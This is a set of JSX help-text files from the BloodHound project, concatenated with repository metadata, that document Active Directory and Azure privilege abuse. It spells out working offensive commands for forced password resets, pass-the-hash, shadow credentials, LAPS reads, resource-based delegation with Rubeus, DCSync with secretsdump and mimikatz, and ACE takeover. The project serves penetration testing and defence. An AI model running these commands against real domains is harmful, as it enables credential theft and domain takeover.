the command line. </p> <pre> <code> { 'net rpc password "TargetUser" "newP@ssword2022" -U "DOMAIN"/"ControlledUser"%"Password" -S "DomainController"' } </code> </pre> <p> Pass-the-hash can also be done here with <a href='path_to_url net tool</a>. If the LM hash is not known it must be replace with <code>ffffffffffffffffffffffffffffffff</code>. </p> <pre> <code> { 'pth-net rpc password "TargetUser" "newP@ssword2022" -U "DOMAIN"/"ControlledUser"%"LMhash":"NThash" -S "DomainController"' } </code> </pre> <p> Now that you know the target user's plain text password, you can either start a new agent as that user, or use that user's credentials in conjunction with PowerView's ACL abuse functions, or perhaps even RDP to a system the target user has access to. For more ideas and information, see the references tab. </p> <h4> Shadow Credentials attack </h4> <p>To abuse this privilege, use <a href='path_to_url <pre> <code>{'pywhisker.py -d "domain.local" -u "controlledAccount" -p "somepassword" --target "targetAccount" --action "add"'}</code> </pre> <p> For other optional parameters, view the pyWhisker documentation. </p> </> ); case 'Computer': if (haslaps) { return ( <> <h4> Retrieve LAPS Password </h4> <p> Full control of a computer object is abusable when the computer's local admin account credential is controlled with LAPS. The clear-text password for the local administrator account is stored in an extended attribute on the computer object called ms-Mcs-AdmPwd. With full control of the computer object, you may have the ability to read this attribute, or grant yourself the ability to read the attribute by modifying the computer object's security descriptor. </p> <p> <a href='path_to_url can be used to retrieve LAPS passwords: </p> <pre> <code> { 'pyLAPS.py --action get -d "DOMAIN" -u "ControlledUser" -p "ItsPassword"' } </code> </pre> <h4> Resource-Based Constrained Delegation </h4> First, if an attacker does not control an account with an SPN set, a new attacker-controlled computer account can be added with Impacket's addcomputer.py example script: <pre> <code> { "addcomputer.py -method LDAPS -computer-name 'ATTACKERSYSTEM$' -computer-pass 'Summer2018!' -dc-host $DomainController -domain-netbios $DOMAIN 'domain/user:password'" } </code> </pre> We now need to configure the target object so that the attacker-controlled computer can delegate to it. Impacket's rbcd.py script can be used for that purpose: <pre> <code> { "rbcd.py -delegate-from 'ATTACKERSYSTEM$' -delegate-to 'TargetComputer' -action 'write' 'domain/user:password'" } </code> </pre> And finally we can get a service ticket for the service name (sname) we want to "pretend" to be "admin" for. Impacket's getST.py example script can be used for that purpose. <pre> <code> { "getST.py -spn 'cifs/targetcomputer.testlab.local' -impersonate 'admin' 'domain/attackersystem$:Summer2018!'" } </code> </pre> This ticket can then be used with Pass-the-Ticket, and could grant access to the file system of the TARGETCOMPUTER. <h4> Shadow Credentials attack </h4> <p>To abuse this privilege, use <a href='path_to_url <pre> <code>{'pywhisker.py -d "domain.local" -u "controlledAccount" -p "somepassword" --target "targetAccount" --action "add"'}</code> </pre> <p> For other optional parameters, view the pyWhisker documentation. </p> </> ); } else { return ( <> <h4> Resource-Based Constrained Delegation </h4> First, if an attacker does not control an account with an SPN set, a new attacker-controlled computer account can be added with Impacket's addcomputer.py example script: <pre> <code> { "addcomputer.py -method LDAPS -computer-name 'ATTACKERSYSTEM$' -computer-pass 'Summer2018!' -dc-host $DomainController -domain-netbios $DOMAIN 'domain/user:password'" } </code> </pre> We now need to configure the target object so that the attacker-controlled computer can delegate to it. Impacket's rbcd.py script can be used for that purpose: <pre> <code> { "rbcd.py -delegate-from 'ATTACKERSYSTEM$' -delegate-to 'TargetComputer' -action 'write' 'domain/user:password'" } </code> </pre> And finally we can get a service ticket for the service name (sname) we want to "pretend" to be "admin" for. Impacket's getST.py example script can be used for that purpose. <pre> <code> { "getST.py -spn 'cifs/targetcomputer.testlab.local' -impersonate 'admin' 'domain/attackersystem$:Summer2018!'" } </code> </pre> This ticket can then be used with Pass-the-Ticket, and could grant access to the file system of the TARGETCOMPUTER. <h4> Shadow Credentials attack </h4> <p>To abuse this privilege, use <a href='path_to_url <pre> <code>{'pywhisker.py -d "domain.local" -u "controlledAccount" -p "somepassword" --target "targetAccount" --action "add"'}</code> </pre> <p> For other optional parameters, view the pyWhisker documentation. </p> </> ); } case 'Domain': return ( <> <h4> DCSync </h4> <p> The AllExtendedRights privilege grants {sourceName} both the DS-Replication-Get-Changes and DS-Replication-Get-Changes-All privileges, which combined allow a principal to replicate objects from the domain{' '} {targetName}. </p> <p> This can be abused using Impacket's secretsdump.py example script: </p> <pre> <code> { "secretsdump 'DOMAIN'/'USER':'PASSWORD'@'DOMAINCONTROLLER'" } </code> </pre> <h4> Retrieve LAPS Passwords </h4> <p> The AllExtendedRights privilege also grants {sourceName} enough{' '} privileges, to retrieve LAPS passwords domain-wise. </p> <p> <a href="path_to_url">pyLAPS</a> can be used for that purpose: </p> <pre> <code> { 'pyLAPS.py --action get -d "DOMAIN" -u "ControlledUser" -p "ItsPassword"' } </code> </pre> </> ); case 'GPO': return ( <> <p> With full control of a GPO, you may make modifications to that GPO which will then apply to the users and computers affected by the GPO. Select the target object you wish to push an evil policy down to, then use the gpedit GUI to modify the GPO, using an evil policy that allows item-level targeting, such as a new immediate scheduled task. Then wait at least 2 hours for the group policy client to pick up and execute the new evil policy. See the references tab for a more detailed write up on this abuse. </p> <p> <a href="path_to_url">pyGPOAbuse.py</a> can be used for that purpose. </p> </> ); case 'OU': return ( <> <h4>Control of the Organization Unit</h4> <p> With full control of the OU, you may add a new ACE on the OU that will inherit down to the objects under that OU. Below are two options depending on how targeted you choose to be in this step: </p> <h4>Generic Descendent Object Takeover</h4> <p> The simplest and most straight forward way to abuse control of the OU is to apply a GenericAll ACE on the OU that will inherit down to all object types. This can be done using Impacket's dacledit (cf. "grant rights" reference for the link). </p> <pre> <code> { "dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'JKHOLER' -target-dn 'OUDistinguishedName' 'domain'/'user':'password'" } </code> </pre> <p> Now, the "JKOHLER" user will have full control of all descendent objects of each type. </p> <h4>Targeted Descendent Object Takeoever</h4> <p> If you want to be more targeted with your approach, it is possible to specify precisely what right you want to apply to precisely which kinds of descendent objects. Refer to the Windows Abuse info for this. </p> </> ); case 'Container': return ( <> <h4>Control of the Container</h4> <p> With full control of the container, you may add a new ACE on the container that will inherit down to the objects under that OU. Below are two options depending on how targeted you choose to be in this step: </p> <h4>Generic Descendent Object Takeover</h4> <p> The simplest and most straight forward way to abuse control of the OU is to apply a GenericAll ACE on the OU that will inherit down to all object types. This can be done using Impacket's dacledit (cf. "grant rights" reference for the link). </p> <pre> <code> { "dacledit.py -action 'write' -rights 'FullControl' -inheritance -principal 'JKHOLER' -target-dn 'containerDistinguishedName' 'domain'/'user':'password'" } </code> </pre> <p> Now, the "JKOHLER" user will have full control of all descendent objects of each type. </p> <h4>Targeted Descendent Object Takeoever</h4> <p> If you want to be more targeted with your approach, it is possible to specify precisely what right you want to apply to precisely which kinds of descendent objects. Refer to the Windows Abuse info for this. </p> </> ); } return <></>; }; LinuxAbuse.propTypes = { sourceName: PropTypes.string, sourceType: PropTypes.string, targetName: PropTypes.string, targetType: PropTypes.string, targetId: PropTypes.string, haslaps: PropTypes.bool, }; export default LinuxAbuse; ```
/content/code_sandbox/src/components/Modals/HelpTexts/GenericAll/LinuxAbuse.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
3,396
```jsx import React from 'react'; import PropTypes from 'prop-types'; const WindowsAbuse = ({ sourceName, sourceType, targetName, targetType, targetId, haslaps, }) => { switch (targetType) { case 'Group': return ( <> <p> Full control of a group allows you to directly modify group membership of the group. </p> <p> There are at least two ways to execute this attack. The first and most obvious is by using the built-in net.exe binary in Windows (e.g.: net group "Domain Admins" harmj0y /add /domain). See the opsec considerations tab for why this may be a bad idea. The second, and highly recommended method, is by using the Add-DomainGroupMember function in PowerView. This function is superior to using the net.exe binary in several ways. For instance, you can supply alternate credentials, instead of needing to run a process as or logon as the user with the AddMember privilege. Additionally, you have much safer execution options than you do with spawning net.exe (see the opsec tab). </p> <p> To abuse this privilege with PowerView's Add-DomainGroupMember, first import PowerView into your agent session or into a PowerShell instance at the console. You may need to authenticate to the Domain Controller as{' '} {sourceType === 'User' ? `${sourceName} if you are not running a process as that user` : `a member of ${sourceName} if you are not running a process as a member`} . To do this in conjunction with Add-DomainGroupMember, first create a PSCredential object (these examples comes from the PowerView help documentation): </p> <pre> <code> {"$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force\n" + "$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\\dfm.a', $SecPassword)"} </code> </pre> <p> Then, use Add-DomainGroupMember, optionally specifying $Cred if you are not already running a process as{' '} {sourceName}: </p> <pre> <code> { "Add-DomainGroupMember -Identity 'Domain Admins' -Members 'harmj0y' -Credential $Cred" } </code> </pre> <p> Finally, verify that the user was successfully added to the group with PowerView's Get-DomainGroupMember: </p> <pre> <code> {"Get-DomainGroupMember -Identity 'Domain Admins'"} </code> </pre> </> ); case 'User': return ( <> <p> Full control of a user allows you to modify properties of the user to perform a targeted kerberoast attack, and also grants the ability to reset the password of the user without knowing their current one. </p> <h4> Targeted Kerberoast </h4> <p> A targeted kerberoast attack can be performed using PowerView's Set-DomainObject along with Get-DomainSPNTicket. </p> <p> You may need to authenticate to the Domain Controller as{' '} {sourceType === 'User' ? `${sourceName} if you are not running a process as that user` : `a member of ${sourceName} if you are not running a process as a member`} . To do this in conjunction with Set-DomainObject, first create a PSCredential object (these examples comes from the PowerView help documentation): </p> <pre> <code> {"$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force\n" + "$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\\dfm.a', $SecPassword)"} </code> </pre> <p> Then, use Set-DomainObject, optionally specifying $Cred if you are not already running a process as {sourceName} : </p> <pre> <code> { "Set-DomainObject -Credential $Cred -Identity harmj0y -SET @{serviceprincipalname='nonexistent/BLAHBLAH'}" } </code> </pre> <p> After running this, you can use Get-DomainSPNTicket as follows: </p> <pre> <code> { 'Get-DomainSPNTicket -Credential $Cred harmj0y | fl' } </code> </pre> <p> The recovered hash can be cracked offline using the tool of your choice. Cleanup of the ServicePrincipalName can be done with the Set-DomainObject command: </p> <pre> <code> { 'Set-DomainObject -Credential $Cred -Identity harmj0y -Clear serviceprincipalname' } </code> </pre> <h4> Force Change Password </h4> <p> There are at least two ways to execute this attack. The first and most obvious is by using the built-in net.exe binary in Windows (e.g.: net user dfm.a Password123! /domain). See the opsec considerations tab for why this may be a bad idea. The second, and highly recommended method, is by using the Set-DomainUserPassword function in PowerView. This function is superior to using the net.exe binary in several ways. For instance, you can supply alternate credentials, instead of needing to run a process as or logon as the user with the ForceChangePassword privilege. Additionally, you have much safer execution options than you do with spawning net.exe (see the opsec tab). </p> <p> To abuse this privilege with PowerView's Set-DomainUserPassword, first import PowerView into your agent session or into a PowerShell instance at the console. You may need to authenticate to the Domain Controller as{' '} {sourceType === 'User' ? `${sourceName} if you are not running a process as that user` : `a member of ${sourceName} if you are not running a process as a member`} . To do this in conjunction with Set-DomainUserPassword, first create a PSCredential object (these examples comes from the PowerView help documentation): </p> <pre> <code> {"$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force\n" + "$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\\dfm.a', $SecPassword)"} </code> </pre> <p> Then create a secure string object for the password you want to set on the target user: </p> <pre> <code> { "$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force" } </code> </pre> <p> Finally, use Set-DomainUserPassword, optionally specifying $Cred if you are not already running a process as {sourceName}: </p> <pre> <code> { 'Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword -Credential $Cred' } </code> </pre> <p> Now that you know the target user's plain text password, you can either start a new agent as that user, or use that user's credentials in conjunction with PowerView's ACL abuse functions, or perhaps even RDP to a system the target user has access to. For more ideas and information, see the references tab. </p> </> ); case 'Computer': if (haslaps) { return ( <> <p> Full control of a computer object is abusable when the computer's local admin account credential is controlled with LAPS. The clear-text password for the local administrator account is stored in an extended attribute on the computer object called ms-Mcs-AdmPwd. With full control of the computer object, you may have the ability to read this attribute, or grant yourself the ability to read the attribute by modifying the computer object's security descriptor. </p> <p> Alternatively, Full control of a computer object can be used to perform a resource based constrained delegation attack. </p> <p> Abusing this primitive is possible through the Rubeus project. </p> <p> First, if an attacker does not control an account with an SPN set, Kevin Robertson's Powermad project can be used to add a new attacker-controlled computer account: </p> <pre> <code> { "New-MachineAccount -MachineAccount attackersystem -Password $(ConvertTo-SecureString 'Summer2018!' -AsPlainText -Force)" } </code> </pre> <p> PowerView can be used to then retrieve the security identifier (SID) of the newly created computer account: </p> <pre> <code> $ComputerSid = Get-DomainComputer attackersystem -Properties objectsid | Select -Expand objectsid </code> </pre> <p> We now need to build a generic ACE with the attacker-added computer SID as the principal, and get the binary bytes for the new DACL/ACE: </p> <pre> <code> {'$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"\n' + '$SDBytes = New-Object byte[] ($SD.BinaryLength)\n' + '$SD.GetBinaryForm($SDBytes, 0)'} </code> </pre> <p> Next, we need to set this newly created security descriptor in the msDS-AllowedToActOnBehalfOfOtherIdentity field of the comptuer account we're taking over, again using PowerView in this case: </p> <pre> <code> { "Get-DomainComputer $TargetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}" } </code> </pre> <p> We can then use Rubeus to hash the plaintext password into its RC4_HMAC form: </p> <pre> <code> {'Rubeus.exe hash /password:Summer2018!'} </code> </pre> <p> And finally we can use Rubeus' *s4u* module to get a service ticket for the service name (sname) we want to "pretend" to be "admin" for. This ticket is injected (thanks to /ptt), and in this case grants us access to the file system of the TARGETCOMPUTER: </p> <pre> <code> { 'Rubeus.exe s4u /user:attackersystem$ /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:admin /msdsspn:cifs/TARGETCOMPUTER.testlab.local /ptt' } </code> </pre> </> ); } else { return ( <> <p> Full control of a computer object can be used to perform a resource based constrained delegation attack. </p> <p> Abusing this primitive is possible through the Rubeus project. </p> <p> First, if an attacker does not control an account with an SPN set, Kevin Robertson's Powermad project can be used to add a new attacker-controlled computer account: </p> <pre> <code> { "New-MachineAccount -MachineAccount attackersystem -Password $(ConvertTo-SecureString 'Summer2018!' -AsPlainText -Force)" } </code> </pre> <p> PowerView can be used to then retrieve the security identifier (SID) of the newly created computer account: </p> <pre> <code> { '$ComputerSid = Get-DomainComputer attackersystem -Properties objectsid | Select -Expand objectsid' } </code> </pre> <p> We now need to build a generic ACE with the attacker-added computer SID as the principal, and get the binary bytes for the new DACL/ACE: </p> <pre> <code> {'$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($ComputerSid))"\n' + '$SDBytes = New-Object byte[] ($SD.BinaryLength)\n' + '$SD.GetBinaryForm($SDBytes, 0)'} </code> </pre> <p> Next, we need to set this newly created security descriptor in the msDS-AllowedToActOnBehalfOfOtherIdentity field of the comptuer account we're taking over, again using PowerView in this case: </p> <pre> <code> { "Get-DomainComputer $TargetComputer | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}" } </code> </pre> <p> We can then use Rubeus to hash the plaintext password into its RC4_HMAC form: </p> <pre> <code> {'Rubeus.exe hash /password:Summer2018!'} </code> </pre> <p> And finally we can use Rubeus' *s4u* module to get a service ticket for the service name (sname) we want to "pretend" to be "admin" for. This ticket is injected (thanks to /ptt), and in this case grants us access to the file system of the TARGETCOMPUTER: </p> <pre> <code> { 'Rubeus.exe s4u /user:attackersystem$ /rc4:EF266C6B963C0BB683941032008AD47F /impersonateuser:admin /msdsspn:cifs/TARGETCOMPUTER.testlab.local /ptt' } </code> </pre> </> ); } case 'Domain': return ( <> <p> Full control of a domain object grants you both DS-Replication-Get-Changes as well as DS-Replication-Get-Changes-All rights. The combination of these rights allows you to perform the dcsync attack using mimikatz. To grab the credential of the user harmj0y using these rights: </p> <pre> <code> { 'lsadump::dcsync /domain:testlab.local /user:harmj0y' } </code> </pre> </> ); case 'GPO': return ( <> <p> With full control of a GPO, you may make modifications to that GPO which will then apply to the users and computers affected by the GPO. Select the target object you wish to push an evil policy down to, then use the gpedit GUI to modify the GPO, using an evil policy that allows item-level targeting, such as a new immediate scheduled task. Then wait for the group policy client to pick up and execute the new evil policy. See the references tab for a more detailed write up on this abuse. </p> </> ); case 'OU': return ( <> <h4>Control of the Organization Unit</h4> <p> With full control of the OU, you may add a new ACE on the OU that will inherit down to the objects under that OU. Below are two options depending on how targeted you choose to be in this step: </p> <h4>Generic Descendent Object Takeover</h4> <p> The simplest and most straight forward way to abuse control of the OU is to apply a GenericAll ACE on the OU that will inherit down to all object types. Again, this can be done using PowerView. This time we will use the New-ADObjectAccessControlEntry, which gives us more control over the ACE we add to the OU. </p> <p> First, we need to reference the OU by its ObjectGUID, not its name. The ObjectGUID for the OU {targetName} is:{' '} {targetId}. </p> <p> Next, we will fetch the GUID for all objects. This should be '00000000-0000-0000-0000-000000000000': </p> <pre> <code> {'$Guids = Get-DomainGUIDMap\n' + "$AllObjectsPropertyGuid = $Guids.GetEnumerator() | ?{$_.value -eq 'All'} | select -ExpandProperty name"} </code> </pre> <p> Then we will construct our ACE. This command will create an ACE granting the "JKHOLER" user full control of all descendant objects: </p> <pre> <code> { "$ACE = New-ADObjectAccessControlEntry -Verbose -PrincipalIdentity 'JKOHLER' -Right GenericAll -AccessControlType Allow -InheritanceType All -InheritedObjectType $AllObjectsPropertyGuid" } </code> </pre> <p>Finally, we will apply this ACE to our target OU:</p> <pre> <code> {'$OU = Get-DomainOU -Raw (OU GUID)\n' + '$DsEntry = $OU.GetDirectoryEntry()\n' + "$dsEntry.PsBase.Options.SecurityMasks = 'Dacl'\n" + '$dsEntry.PsBase.ObjectSecurity.AddAccessRule($ACE)\n' + '$dsEntry.PsBase.CommitChanges()'} </code> </pre> <p> Now, the "JKOHLER" user will have full control of all descendent objects of each type. </p> <h4>Targeted Descendent Object Takeoever</h4> <p> If you want to be more targeted with your approach, it is possible to specify precisely what right you want to apply to precisely which kinds of descendent objects. You could, for example, grant a user "ForceChangePassword" privilege against all user objects, or grant a security group the ability to read every GMSA password under a certain OU. Below is an example taken from PowerView's help text on how to grant the "ITADMIN" user the ability to read the LAPS password from all computer objects in the "Workstations" OU: </p> <pre> <code> {'$Guids = Get-DomainGUIDMap\n' + "$AdmPropertyGuid = $Guids.GetEnumerator() | ?{$_.value -eq 'ms-Mcs-AdmPwd'} | select -ExpandProperty name\n" + "$CompPropertyGuid = $Guids.GetEnumerator() | ?{$_.value -eq 'Computer'} | select -ExpandProperty name\n" + '$ACE = New-ADObjectAccessControlEntry -Verbose -PrincipalIdentity itadmin -Right ExtendedRight,ReadProperty -AccessControlType Allow -ObjectType $AdmPropertyGuid -InheritanceType All -InheritedObjectType $CompPropertyGuid\n' + '$OU = Get-DomainOU -Raw Workstations\n' + '$DsEntry = $OU.GetDirectoryEntry()\n' + "$dsEntry.PsBase.Options.SecurityMasks = 'Dacl'\n" + '$dsEntry.PsBase.ObjectSecurity.AddAccessRule($ACE)\n' + '$dsEntry.PsBase.CommitChanges()'} </code> </pre> </> ); } return <></>; }; WindowsAbuse.propTypes = { sourceName: PropTypes.string, sourceType: PropTypes.string, targetName: PropTypes.string, targetType: PropTypes.string, targetId: PropTypes.string, haslaps: PropTypes.bool, }; export default WindowsAbuse; ```
/content/code_sandbox/src/components/Modals/HelpTexts/GenericAll/WindowsAbuse.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
4,719
```jsx import React from 'react'; const Opsec = () => { return ( <p> This depends on the target object and how to take advantage of this privilege. Opsec considerations for each abuse primitive are documented on the specific abuse edges and on the BloodHound wiki. </p> ); }; export default Opsec; ```
/content/code_sandbox/src/components/Modals/HelpTexts/GenericAll/Opsec.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
75
```jsx import React from 'react'; const References = () => { return ( <> <a href='path_to_url path_to_url </a> <br /> <a href='path_to_url path_to_url </a> <br /> <a href='path_to_url path_to_url </a> <br /> <a href='path_to_url path_to_url </a> <br /> <a href='path_to_url path_to_url </a> <br /> <a href='path_to_url path_to_url </a> <br /> <a href='path_to_url#s4u'> path_to_url#s4u </a> <br /> <a href='path_to_url path_to_url </a> <br /> <a href='path_to_url path_to_url </a> <br /> <a href='path_to_url path_to_url </a> <br /> <a href='path_to_url#new-machineaccount'> path_to_url#new-machineaccount </a> <br /> <a href='path_to_url path_to_url </a> <br /> <a href='path_to_url path_to_url </a> <br /> <a href='path_to_url path_to_url </a> <br /> <a href='path_to_url path_to_url </a> <br /> <a href='path_to_url path_to_url </a> <br /> <a href='path_to_url path_to_url </a> <br /> <a href='path_to_url path_to_url </a> <br /> <a href='path_to_url path_to_url </a> </> ); }; export default References; ```
/content/code_sandbox/src/components/Modals/HelpTexts/GenericAll/References.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
457
```jsx import React from 'react'; const General = () => { return ( <> <p> This edge is created when a Service Principal has been granted the Group.ReadWrite.All edge. The edge is not abusable, but is used during post-processing to create abusable edges. </p> </> ); }; export default General; ```
/content/code_sandbox/src/components/Modals/HelpTexts/AZMGGroup_ReadWrite_All/General.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
79
```jsx import React from 'react'; import PropTypes from 'prop-types'; import { Tabs, Tab } from 'react-bootstrap'; import General from './General'; import Abuse from './Abuse'; import Opsec from './Opsec'; import References from './References'; const AZMGGroup_ReadWrite_All = ({ sourceName, sourceType, targetName, targetType }) => { return ( <Tabs defaultActiveKey={1} id='help-tab-container' justified> <Tab eventKey={1} title='Info'> <General /> </Tab> <Tab eventKey={2} title='Abuse Info'> <Abuse /> </Tab> <Tab eventKey={3} title='Opsec Considerations'> <Opsec /> </Tab> <Tab eventKey={4} title='References'> <References /> </Tab> </Tabs> ); }; AZMGGroup_ReadWrite_All.propTypes = { sourceName: PropTypes.string, sourceType: PropTypes.string, targetName: PropTypes.string, targetType: PropTypes.string, }; export default AZMGGroup_ReadWrite_All; ```
/content/code_sandbox/src/components/Modals/HelpTexts/AZMGGroup_ReadWrite_All/AZMGGroup_ReadWrite_All.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
234
```jsx import React from 'react'; const Abuse = () => { return ( <> <p> This edge is created when a Service Principal has been granted the Group.ReadWrite.All edge. The edge is not abusable, but is used during post-processing to create abusable edges. </p> </> ); }; export default Abuse; ```
/content/code_sandbox/src/components/Modals/HelpTexts/AZMGGroup_ReadWrite_All/Abuse.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
79
```jsx import React from 'react'; const References = () => { return ( <> <a href='path_to_url ATT&amp;CK T1098: Account Manipulation </a> <br /> <a href='path_to_url Andy Robbins - Azure Privilege Escalation via Service Principal Abuse </a> </> ); }; export default References; ```
/content/code_sandbox/src/components/Modals/HelpTexts/AZMGGroup_ReadWrite_All/References.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
87
```jsx import React from 'react'; const Opsec = () => { return ( <> <p> This edge is created when a Service Principal has been granted the Group.ReadWrite.All edge. The edge is not abusable, but is used during post-processing to create abusable edges. </p> </> ); }; export default Opsec; ```
/content/code_sandbox/src/components/Modals/HelpTexts/AZMGGroup_ReadWrite_All/Opsec.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
81
```jsx import React from 'react'; const General = () => { return <p>The ability to read keys from key vaults</p>; }; export default General; ```
/content/code_sandbox/src/components/Modals/HelpTexts/AZGetKeys/General.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
34
```jsx import React from 'react'; import PropTypes from 'prop-types'; import { Tabs, Tab } from 'react-bootstrap'; import General from './General'; import Abuse from './Abuse'; import Opsec from './Opsec'; import References from './References'; const AZGetKeys = ({ sourceName, sourceType, targetName, targetType }) => { return ( <Tabs defaultActiveKey={1} id='tab-style' bsStyle='pills' justified> <Tab eventKey={1} title='INFO'> <General /> </Tab> <Tab eventKey={2} title='ABUSE'> <Abuse /> </Tab> <Tab eventKey={3} title='OPSEC'> <Opsec /> </Tab> <Tab eventKey={4} title='REFERENCES'> <References /> </Tab> </Tabs> ); }; AZGetKeys.propTypes = { sourceName: PropTypes.string, sourceType: PropTypes.string, targetName: PropTypes.string, targetType: PropTypes.string, }; export default AZGetKeys; ```
/content/code_sandbox/src/components/Modals/HelpTexts/AZGetKeys/AZGetKeys.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
227
```jsx import React from 'react'; const Abuse = () => { return ( <> <p> Use PowerShell or PowerZure to fetch the key from the key vault </p> <p>Via PowerZure</p> <a href='path_to_url#export-azurekeyvaultcontent'> Export-AzureKeyVaultContent </a> </> ); }; export default Abuse; ```
/content/code_sandbox/src/components/Modals/HelpTexts/AZGetKeys/Abuse.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
90
```jsx import React from 'react'; const References = () => { return ( <> <a href='path_to_url path_to_url </a> <br /> <a href='path_to_url#export-azurekeyvaultcontent'> path_to_url#export-azurekeyvaultcontent </a> </> ); }; export default References; ```
/content/code_sandbox/src/components/Modals/HelpTexts/AZGetKeys/References.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
81
```jsx import React from 'react'; const Opsec = () => { return ( <p> Azure will create a new log event for the key vault whenever a secret is accessed. </p> ); }; export default Opsec; ```
/content/code_sandbox/src/components/Modals/HelpTexts/AZGetKeys/Opsec.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
53
```jsx import React from 'react'; const General = () => { rerturn( <p> Principals with the Application Admin role can control tenant-resident apps. </p> ); }; export default General; ```
/content/code_sandbox/src/components/Modals/HelpTexts/AZAppAdmin/General.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
49
```jsx import React from 'react'; const Abuse = () => { return ( <p> Create a new credential for the app, then authenticate to the tenant as the app's service principal, then abuse whatever privilege it is that the service principal has. </p> ); }; export default Abuse; ```
/content/code_sandbox/src/components/Modals/HelpTexts/AZAppAdmin/Abuse.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
68
```jsx import React from 'react'; import PropTypes from 'prop-types'; import { Tabs, Tab } from 'react-bootstrap'; import General from './General'; import Abuse from './Abuse'; import Opsec from './Opsec'; import References from './References'; const AZAppAdmin = ({ sourceName, sourceType, targetName, targetType }) => { return ( <Tabs defaultActiveKey={1} id='tab-style' bsStyle='pills' justified> <Tab eventKey={1} title='INFO'> <General /> </Tab> <Tab eventKey={2} title='ABUSE'> <Abuse /> </Tab> <Tab eventKey={3} title='OPSEC'> <Opsec /> </Tab> <Tab eventKey={4} title='REFERENCES'> <References /> </Tab> </Tabs> ); }; AZAppAdmin.propTypes = { sourceName: PropTypes.string, sourceType: PropTypes.string, targetName: PropTypes.string, targetType: PropTypes.string, }; export default AZAppAdmin; ```
/content/code_sandbox/src/components/Modals/HelpTexts/AZAppAdmin/AZAppAdmin.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
227
```jsx import React from 'react'; const References = () => { return ( <a href='path_to_url path_to_url </a> ); }; export default References; ```
/content/code_sandbox/src/components/Modals/HelpTexts/AZAppAdmin/References.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
41
```jsx import React from 'react'; const Opsec = () => { return ( <p> The Azure portal will create a log even whenever a new credential is created for a service principal. </p> ); }; export default Opsec; ```
/content/code_sandbox/src/components/Modals/HelpTexts/AZAppAdmin/Opsec.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
55
```jsx import React from 'react'; const General = () => { return ( <p> This is an error. Please report this to the BloodHound dev team along with instructions to replicate. </p> ); }; export default General; ```
/content/code_sandbox/src/components/Modals/HelpTexts/Default/General.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
55
```jsx import React from 'react'; import PropTypes from 'prop-types'; import { Tabs, Tab } from 'react-bootstrap'; import General from './General'; import Abuse from './Abuse'; import Opsec from './Opsec'; import References from './References'; const Default = ({ sourceName, sourceType, targetName, targetType }) => { return ( <Tabs defaultActiveKey={1} id='tab-style' bsStyle='pills' justified> <Tab eventKey={1} title='INFO'> <General /> </Tab> <Tab eventKey={2} title='ABUSE'> <Abuse /> </Tab> <Tab eventKey={3} title='OPSEC'> <Opsec /> </Tab> <Tab eventKey={4} title='REFERENCES'> <References /> </Tab> </Tabs> ); }; Default.propTypes = { sourceName: PropTypes.string, sourceType: PropTypes.string, targetName: PropTypes.string, targetType: PropTypes.string, }; export default Default; ```
/content/code_sandbox/src/components/Modals/HelpTexts/Default/Default.jsx
jsx
2016-04-17T18:36:14
2024-08-16T14:38:33
BloodHound
BloodHoundAD/BloodHound
9,657
221
```jsx import React from 'react'; const Abuse = () => { return <></>; }; export default Abuse; ```
/content/code_sandbox/src/components/Modals/HelpTexts/Default/Abuse.jsx
jsx
